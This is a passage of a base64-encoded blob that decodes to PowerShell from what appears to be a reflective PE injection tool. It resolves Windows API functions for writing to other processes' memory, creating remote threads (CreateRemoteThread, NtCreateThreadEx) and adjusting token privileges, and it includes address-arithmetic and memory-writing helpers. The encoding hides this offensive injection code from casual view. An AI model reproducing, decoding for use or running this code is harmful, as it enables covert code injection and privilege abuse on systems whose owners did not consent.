3NNZW1vcnlBZGRyLCAkV3JpdGVQcm9jZXNzTWVtb3J5RGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIFdyaXRlUHJvY2Vzc01lbW9yeSAtVmFsdWUgJFdyaXRlUHJvY2Vzc01lbW9yeQ0KCQkNCgkJJFJlYWRQcm9jZXNzTWVtb3J5QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgUmVhZFByb2Nlc3NNZW1vcnkNCiAgICAgICAgJFJlYWRQcm9jZXNzTWVtb3J5RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludFB0cl0uTWFrZUJ5UmVmVHlwZSgpKSAoW0Jvb2xdKQ0KICAgICAgICAkUmVhZFByb2Nlc3NNZW1vcnkgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkUmVhZFByb2Nlc3NNZW1vcnlBZGRyLCAkUmVhZFByb2Nlc3NNZW1vcnlEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUmVhZFByb2Nlc3NNZW1vcnkgLVZhbHVlICRSZWFkUHJvY2Vzc01lbW9yeQ0KCQkNCgkJJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIENyZWF0ZVJlbW90ZVRocmVhZA0KICAgICAgICAkQ3JlYXRlUmVtb3RlVGhyZWFkRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnQzMl0sIFtJbnRQdHJdKSAoW0ludFB0cl0pDQogICAgICAgICRDcmVhdGVSZW1vdGVUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkQ3JlYXRlUmVtb3RlVGhyZWFkQWRkciwgJENyZWF0ZVJlbW90ZVRocmVhZERlbGVnYXRlKQ0KCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBDcmVhdGVSZW1vdGVUaHJlYWQgLVZhbHVlICRDcmVhdGVSZW1vdGVUaHJlYWQNCgkJDQoJCSRHZXRFeGl0Q29kZVRocmVhZEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIEdldEV4aXRDb2RlVGhyZWFkDQogICAgICAgICRHZXRFeGl0Q29kZVRocmVhZERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50MzJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkNCiAgICAgICAgJEdldEV4aXRDb2RlVGhyZWFkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldEV4aXRDb2RlVGhyZWFkQWRkciwgJEdldEV4aXRDb2RlVGhyZWFkRGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEdldEV4aXRDb2RlVGhyZWFkIC1WYWx1ZSAkR2V0RXhpdENvZGVUaHJlYWQNCgkJDQoJCSRPcGVuVGhyZWFkVG9rZW5BZGRyID0gR2V0LVByb2NBZGRyZXNzIEFkdmFwaTMyLmRsbCBPcGVuVGhyZWFkVG9rZW4NCiAgICAgICAgJE9wZW5UaHJlYWRUb2tlbkRlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludDMyXSwgW0Jvb2xdLCBbSW50UHRyXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pDQogICAgICAgICRPcGVuVGhyZWFkVG9rZW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkT3BlblRocmVhZFRva2VuQWRkciwgJE9wZW5UaHJlYWRUb2tlbkRlbGVnYXRlKQ0KCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBPcGVuVGhyZWFkVG9rZW4gLVZhbHVlICRPcGVuVGhyZWFkVG9rZW4NCgkJDQoJCSRHZXRDdXJyZW50VGhyZWFkQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgR2V0Q3VycmVudFRocmVhZA0KICAgICAgICAkR2V0Q3VycmVudFRocmVhZERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKCkgKFtJbnRQdHJdKQ0KICAgICAgICAkR2V0Q3VycmVudFRocmVhZCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRHZXRDdXJyZW50VGhyZWFkQWRkciwgJEdldEN1cnJlbnRUaHJlYWREZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0Q3VycmVudFRocmVhZCAtVmFsdWUgJEdldEN1cnJlbnRUaHJlYWQNCgkJDQoJCSRBZGp1c3RUb2tlblByaXZpbGVnZXNBZGRyID0gR2V0LVByb2NBZGRyZXNzIEFkdmFwaTMyLmRsbCBBZGp1c3RUb2tlblByaXZpbGVnZXMNCiAgICAgICAgJEFkanVzdFRva2VuUHJpdmlsZWdlc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbQm9vbF0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0sIFtJbnRQdHJdKSAoW0Jvb2xdKQ0KICAgICAgICAkQWRqdXN0VG9rZW5Qcml2aWxlZ2VzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEFkanVzdFRva2VuUHJpdmlsZWdlc0FkZHIsICRBZGp1c3RUb2tlblByaXZpbGVnZXNEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgQWRqdXN0VG9rZW5Qcml2aWxlZ2VzIC1WYWx1ZSAkQWRqdXN0VG9rZW5Qcml2aWxlZ2VzDQoJCQ0KCQkkTG9va3VwUHJpdmlsZWdlVmFsdWVBZGRyID0gR2V0LVByb2NBZGRyZXNzIEFkdmFwaTMyLmRsbCBMb29rdXBQcml2aWxlZ2VWYWx1ZUENCiAgICAgICAgJExvb2t1cFByaXZpbGVnZVZhbHVlRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW1N0cmluZ10sIFtTdHJpbmddLCBbSW50UHRyXSkgKFtCb29sXSkNCiAgICAgICAgJExvb2t1cFByaXZpbGVnZVZhbHVlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvb2t1cFByaXZpbGVnZVZhbHVlQWRkciwgJExvb2t1cFByaXZpbGVnZVZhbHVlRGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIExvb2t1cFByaXZpbGVnZVZhbHVlIC1WYWx1ZSAkTG9va3VwUHJpdmlsZWdlVmFsdWUNCgkJDQoJCSRJbXBlcnNvbmF0ZVNlbGZBZGRyID0gR2V0LVByb2NBZGRyZXNzIEFkdmFwaTMyLmRsbCBJbXBlcnNvbmF0ZVNlbGYNCiAgICAgICAgJEltcGVyc29uYXRlU2VsZkRlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnQzMl0pIChbQm9vbF0pDQogICAgICAgICRJbXBlcnNvbmF0ZVNlbGYgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkSW1wZXJzb25hdGVTZWxmQWRkciwgJEltcGVyc29uYXRlU2VsZkRlbGVnYXRlKQ0KCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJbXBlcnNvbmF0ZVNlbGYgLVZhbHVlICRJbXBlcnNvbmF0ZVNlbGYNCgkJDQogICAgICAgICMgTnRDcmVhdGVUaHJlYWRFeCBpcyBvbmx5IGV2ZXIgY2FsbGVkIG9uIFZpc3RhIGFuZCBXaW43LiBOdENyZWF0ZVRocmVhZEV4IGlzIG5vdCBleHBvcnRlZCBieSBudGRsbC5kbGwgaW4gV2luZG93cyBYUA0KICAgICAgICBpZiAoKFtFbnZpcm9ubWVudF06Ok9TVmVyc2lvbi5WZXJzaW9uIC1nZSAoTmV3LU9iamVjdCAnVmVyc2lvbicgNiwwKSkgLWFuZCAoW0Vudmlyb25tZW50XTo6T1NWZXJzaW9uLlZlcnNpb24gLWx0IChOZXctT2JqZWN0ICdWZXJzaW9uJyA2LDIpKSkgew0KCQkgICAgJE50Q3JlYXRlVGhyZWFkRXhBZGRyID0gR2V0LVByb2NBZGRyZXNzIE50RGxsLmRsbCBOdENyZWF0ZVRocmVhZEV4DQogICAgICAgICAgICAkTnRDcmVhdGVUaHJlYWRFeERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSwgW1VJbnQzMl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbQm9vbF0sIFtVSW50MzJdLCBbVUludDMyXSwgW1VJbnQzMl0sIFtJbnRQdHJdKSAoW1VJbnQzMl0pDQogICAgICAgICAgICAkTnRDcmVhdGVUaHJlYWRFeCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCROdENyZWF0ZVRocmVhZEV4QWRkciwgJE50Q3JlYXRlVGhyZWFkRXhEZWxlZ2F0ZSkNCgkJICAgICRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE50Q3JlYXRlVGhyZWFkRXggLVZhbHVlICROdENyZWF0ZVRocmVhZEV4DQogICAgICAgIH0NCgkJDQoJCSRJc1dvdzY0UHJvY2Vzc0FkZHIgPSBHZXQtUHJvY0FkZHJlc3MgS2VybmVsMzIuZGxsIElzV293NjRQcm9jZXNzDQogICAgICAgICRJc1dvdzY0UHJvY2Vzc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbQm9vbF0uTWFrZUJ5UmVmVHlwZSgpKSAoW0Jvb2xdKQ0KICAgICAgICAkSXNXb3c2NFByb2Nlc3MgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkSXNXb3c2NFByb2Nlc3NBZGRyLCAkSXNXb3c2NFByb2Nlc3NEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSXNXb3c2NFByb2Nlc3MgLVZhbHVlICRJc1dvdzY0UHJvY2Vzcw0KCQkNCgkJJENyZWF0ZVRocmVhZEFkZHIgPSBHZXQtUHJvY0FkZHJlc3MgS2VybmVsMzIuZGxsIENyZWF0ZVRocmVhZA0KICAgICAgICAkQ3JlYXRlVGhyZWFkRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbSW50UHRyXSkNCiAgICAgICAgJENyZWF0ZVRocmVhZCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRDcmVhdGVUaHJlYWRBZGRyLCAkQ3JlYXRlVGhyZWFkRGVsZWdhdGUpDQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIENyZWF0ZVRocmVhZCAtVmFsdWUgJENyZWF0ZVRocmVhZA0KCQ0KCQkkTG9jYWxGcmVlQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEZyZWUNCgkJJExvY2FsRnJlZURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdKQ0KCQkkTG9jYWxGcmVlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvY2FsRnJlZUFkZHIsICRMb2NhbEZyZWVEZWxlZ2F0ZSkNCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciBOb3RlUHJvcGVydHkgLU5hbWUgTG9jYWxGcmVlIC1WYWx1ZSAkTG9jYWxGcmVlDQoNCgkJcmV0dXJuICRXaW4zMkZ1bmN0aW9ucw0KCX0NCgkjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCgkJCQ0KCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCgkjIyMjIyMjIyMjIyAgICBIRUxQRVJTICAgIyMjIyMjIyMjIyMjDQoJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoJI1Bvd2Vyc2hlbGwgb25seSBkb2VzIHNpZ25lZCBhcml0aG1ldGljLCBzbyBpZiB3ZSB3YW50IHRvIGNhbGN1bGF0ZSBtZW1vcnkgYWRkcmVzc2VzIHdlIGhhdmUgdG8gdXNlIHRoaXMgZnVuY3Rpb24NCgkjVGhpcyB3aWxsIGFkZCBzaWduZWQgaW50ZWdlcnMgYXMgaWYgdGhleSB3ZXJlIHVuc2lnbmVkIGludGVnZXJzIHNvIHdlIGNhbiBhY2N1cmF0ZWx5IGNhbGN1bGF0ZSBtZW1vcnkgYWRkcmVzc2VzDQoJRnVuY3Rpb24gU3ViLVNpZ25lZEludEFzVW5zaWduZWQNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbSW50NjRdDQoJCSRWYWx1ZTEsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbSW50NjRdDQoJCSRWYWx1ZTINCgkJKQ0KCQkNCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkNCgkJW0J5dGVbXV0kVmFsdWUyQnl0ZXMgPSBbQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMikNCgkJW0J5dGVbXV0kRmluYWxCeXRlcyA9IFtCaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcyhbVUludDY0XTApDQoNCgkJaWYgKCRWYWx1ZTFCeXRlcy5Db3VudCAtZXEgJFZhbHVlMkJ5dGVzLkNvdW50KQ0KCQl7DQoJCQkkQ2FycnlPdmVyID0gMA0KCQkJZm9yICgkaSA9IDA7ICRpIC1sdCAkVmFsdWUxQnl0ZXMuQ291bnQ7ICRpKyspDQoJCQl7DQoJCQkJJFZhbCA9ICRWYWx1ZTFCeXRlc1skaV0gLSAkQ2FycnlPdmVyDQoJCQkJI1N1YiBieXRlcw0KCQkJCWlmICgkVmFsIC1sdCAkVmFsdWUyQnl0ZXNbJGldKQ0KCQkJCXsNCgkJCQkJJFZhbCArPSAyNTYNCgkJCQkJJENhcnJ5T3ZlciA9IDENCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJENhcnJ5T3ZlciA9IDANCgkJCQl9DQoJCQkJDQoJCQkJDQoJCQkJW1VJbnQxNl0kU3VtID0gJFZhbCAtICRWYWx1ZTJCeXRlc1skaV0NCg0KCQkJCSRGaW5hbEJ5dGVzWyRpXSA9ICRTdW0gLWJhbmQgMHgwMEZGDQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlUaHJvdyAiQ2Fubm90IHN1YnRyYWN0IGJ5dGVhcnJheXMgb2YgZGlmZmVyZW50IHNpemVzIg0KCQl9DQoJCQ0KCQlyZXR1cm4gW0JpdENvbnZlcnRlcl06OlRvSW50NjQoJEZpbmFsQnl0ZXMsIDApDQoJfQ0KCQ0KDQoJRnVuY3Rpb24gQWRkLVNpZ25lZEludEFzVW5zaWduZWQNCgl7DQoJCVBhcmFtKA0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbSW50NjRdDQoJCSRWYWx1ZTEsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbSW50NjRdDQoJCSRWYWx1ZTINCgkJKQ0KCQkNCgkJW0J5dGVbXV0kVmFsdWUxQnl0ZXMgPSBbQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMSkNCgkJW0J5dGVbXV0kVmFsdWUyQnl0ZXMgPSBbQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFZhbHVlMikNCgkJW0J5dGVbXV0kRmluYWxCeXRlcyA9IFtCaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcyhbVUludDY0XTApDQoNCgkJaWYgKCRWYWx1ZTFCeXRlcy5Db3VudCAtZXEgJFZhbHVlMkJ5dGVzLkNvdW50KQ0KCQl7DQoJCQkkQ2FycnlPdmVyID0gMA0KCQkJZm9yICgkaSA9IDA7ICRpIC1sdCAkVmFsdWUxQnl0ZXMuQ291bnQ7ICRpKyspDQoJCQl7DQoJCQkJI0FkZCBieXRlcw0KCQkJCVtVSW50MTZdJFN1bSA9ICRWYWx1ZTFCeXRlc1skaV0gKyAkVmFsdWUyQnl0ZXNbJGldICsgJENhcnJ5T3Zlcg0KDQoJCQkJJEZpbmFsQnl0ZXNbJGldID0gJFN1bSAtYmFuZCAweDAwRkYNCgkJCQkNCgkJCQlpZiAoKCRTdW0gLWJhbmQgMHhGRjAwKSAtZXEgMHgxMDApDQoJCQkJew0KCQkJCQkkQ2FycnlPdmVyID0gMQ0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQkkQ2FycnlPdmVyID0gMA0KCQkJCX0NCgkJCX0NCgkJfQ0KCQllbHNlDQoJCXsNCgkJCVRocm93ICJDYW5ub3QgYWRkIGJ5dGVhcnJheXMgb2YgZGlmZmVyZW50IHNpemVzIg0KCQl9DQoJCQ0KCQlyZXR1cm4gW0JpdENvbnZlcnRlcl06OlRvSW50NjQoJEZpbmFsQnl0ZXMsIDApDQoJfQ0KCQ0KDQoJRnVuY3Rpb24gQ29tcGFyZS1WYWwxR3JlYXRlclRoYW5WYWwyQXNVSW50DQoJew0KCQlQYXJhbSgNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW0ludDY0XQ0KCQkkVmFsdWUxLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW0ludDY0XQ0KCQkkVmFsdWUyDQoJCSkNCgkJDQoJCVtCeXRlW11dJFZhbHVlMUJ5dGVzID0gW0JpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRWYWx1ZTEpDQoJCVtCeXRlW11dJFZhbHVlMkJ5dGVzID0gW0JpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRWYWx1ZTIpDQoNCgkJaWYgKCRWYWx1ZTFCeXRlcy5Db3VudCAtZXEgJFZhbHVlMkJ5dGVzLkNvdW50KQ0KCQl7DQoJCQlmb3IgKCRpID0gJFZhbHVlMUJ5dGVzLkNvdW50LTE7ICRpIC1nZSAwOyAkaS0tKQ0KCQkJew0KCQkJCWlmICgkVmFsdWUxQnl0ZXNbJGldIC1ndCAkVmFsdWUyQnl0ZXNbJGldKQ0KCQkJCXsNCgkJCQkJcmV0dXJuICR0cnVlDQoJCQkJfQ0KCQkJCWVsc2VpZiAoJFZhbHVlMUJ5dGVzWyRpXSAtbHQgJFZhbHVlMkJ5dGVzWyRpXSkNCgkJCQl7DQoJCQkJCXJldHVybiAkZmFsc2UNCgkJCQl9DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlUaHJvdyAiQ2Fubm90IGNvbXBhcmUgYnl0ZSBhcnJheXMgb2YgZGlmZmVyZW50IHNpemUiDQoJCX0NCgkJDQoJCXJldHVybiAkZmFsc2UNCgl9DQoJDQoNCglGdW5jdGlvbiBDb252ZXJ0LVVJbnRUb0ludA0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtVSW50NjRdDQoJCSRWYWx1ZQ0KCQkpDQoJCQ0KCQlbQnl0ZVtdXSRWYWx1ZUJ5dGVzID0gW0JpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRWYWx1ZSkNCgkJcmV0dXJuIChbQml0Q29udmVydGVyXTo6VG9JbnQ2NCgkVmFsdWVCeXRlcywgMCkpDQoJfQ0KCQ0KCQ0KCUZ1bmN0aW9uIFRlc3QtTWVtb3J5UmFuZ2VWYWxpZA0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTdHJpbmddDQoJCSREZWJ1Z1N0cmluZywNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkUEVJbmZvLA0KCQkNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW0ludFB0cl0NCgkJJFN0YXJ0QWRkcmVzcywNCgkJDQoJCVtQYXJhbWV0ZXIoUGFyYW1ldGVyU2V0TmFtZSA9ICJTaXplIiwgUG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtJbnRQdHJdDQoJCSRTaXplDQoJCSkNCgkJDQoJICAgIFtJbnRQdHJdJEZpbmFsRW5kQWRkcmVzcyA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkU3RhcnRBZGRyZXNzKSAoJFNpemUpKQ0KCQkNCgkJJFBFRW5kQWRkcmVzcyA9ICRQRUluZm8uRW5kQWRkcmVzcw0KCQkNCgkJaWYgKChDb21wYXJlLVZhbDFHcmVhdGVyVGhhblZhbDJBc1VJbnQgKCRQRUluZm8uUEVIYW5kbGUpICgkU3RhcnRBZGRyZXNzKSkgLWVxICR0cnVlKQ0KCQl7DQoJCQlUaHJvdyAiVHJ5aW5nIHRvIHdyaXRlIHRvIG1lbW9yeSBzbWFsbGVyIHRoYW4gYWxsb2NhdGVkIGFkZHJlc3MgcmFuZ2UuICREZWJ1Z1N0cmluZyINCgkJfQ0KCQlpZiAoKENvbXBhcmUtVmFsMUdyZWF0ZXJUaGFuVmFsMkFzVUludCAoJEZpbmFsRW5kQWRkcmVzcykgKCRQRUVuZEFkZHJlc3MpKSAtZXEgJHRydWUpDQoJCXsNCgkJCVRocm93ICJUcnlpbmcgdG8gd3JpdGUgdG8gbWVtb3J5IGdyZWF0ZXIgdGhhbiBhbGxvY2F0ZWQgYWRkcmVzcyByYW5nZS4gJERlYnVnU3RyaW5nIg0KCQl9DQoJfQ0KCQ0KCQ0KCUZ1bmN0aW9uIFdyaXRlLUJ5dGVzVG9NZW1vcnkNCgl7DQoJCVBhcmFtKA0KCQkJW1BhcmFtZXRlcihQb3NpdGlvbj0wLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCQlbQnl0ZVtdXQ0KCQkJJEJ5dGVzLA0KCQkJDQoJCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTEsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJCVtJbnRQdHJdDQoJCQkkTWVtb3J5QWRkcmVzcw0KCQkpDQoJDQoJCWZvciAoJE9mZnNldCA9IDA7ICRPZmZzZXQgLWx0ICRCeXRlcy5MZW5ndGg7ICRPZmZzZXQrKykNCgkJew0KCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6V3JpdGVCeXRlKCRNZW1vcnlBZGRyZXNzLCAkT2Zmc2V0LCAkQnl0ZXNbJE9mZnNldF0pDQoJCX0NCgl9DQoJDQoNCgkjRnVuY3Rpb24gd3JpdHRlbiBieSBNYXR0IEdyYWViZXIsIFR3aXR0ZXI6IEBtYXR0aWZlc3RhdGlvbiwgQmxvZzogaHR0cDovL3d3dy5leHBsb2l0LW1vbmRheS5jb20vDQoJRnVuY3Rpb24gR2V0LURlbGVnYXRlVHlwZQ0KCXsNCgkgICAgUGFyYW0NCgkgICAgKA0KCSAgICAgICAgW091dHB1dFR5cGUoW1R5cGVdKV0NCgkgICAgICAgIA0KCSAgICAgICAgW1BhcmFtZXRlciggUG9zaXRpb24gPSAwKV0NCgkgICAgICAgIFtUeXBlW11dDQoJICAgICAgICAkUGFyYW1ldGVycyA9IChOZXctT2JqZWN0IFR5cGVbXSgwKSksDQoJICAgICAgICANCgkgICAgICAgIFtQYXJhbWV0ZXIoIFBvc2l0aW9uID0gMSApXQ0KCSAgICAgICAgW1R5cGVdDQoJICAgICAgICAkUmV0dXJuVHlwZSA9IFtWb2lkXQ0KCSAgICApDQoNCgkgICAgJERvbWFpbiA9IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluDQoJICAgICREeW5Bc3NlbWJseSA9IE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lKCdSZWZsZWN0ZWREZWxlZ2F0ZScpDQoJICAgICRBc3NlbWJseUJ1aWxkZXIgPSAkRG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgkRHluQXNzZW1ibHksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikNCgkgICAgJE1vZHVsZUJ1aWxkZXIgPSAkQXNzZW1ibHlCdWlsZGVyLkRlZmluZUR5bmFtaWNNb2R1bGUoJ0luTWVtb3J5TW9kdWxlJywgJGZhbHNlKQ0KCSAgICAkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdNeURlbGVnYXRlVHlwZScsICdDbGFzcywgUHVibGljLCBTZWFsZWQsIEFuc2lDbGFzcywgQXV0b0NsYXNzJywgW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pDQoJICAgICRDb25zdHJ1Y3RvckJ1aWxkZXIgPSAkVHlwZUJ1aWxkZXIuRGVmaW5lQ29uc3RydWN0b3IoJ1JUU3BlY2lhbE5hbWUsIEhpZGVCeVNpZywgUHVibGljJywgW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCAkUGFyYW1ldGVycykNCgkgICAgJENvbnN0cnVjdG9yQnVpbGRlci5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykNCgkgICAgJE1ldGhvZEJ1aWxkZXIgPSAkVHlwZUJ1aWxkZXIuRGVmaW5lTWV0aG9kKCdJbnZva2UnLCAnUHVibGljLCBIaWRlQnlTaWcsIE5ld1Nsb3QsIFZpcn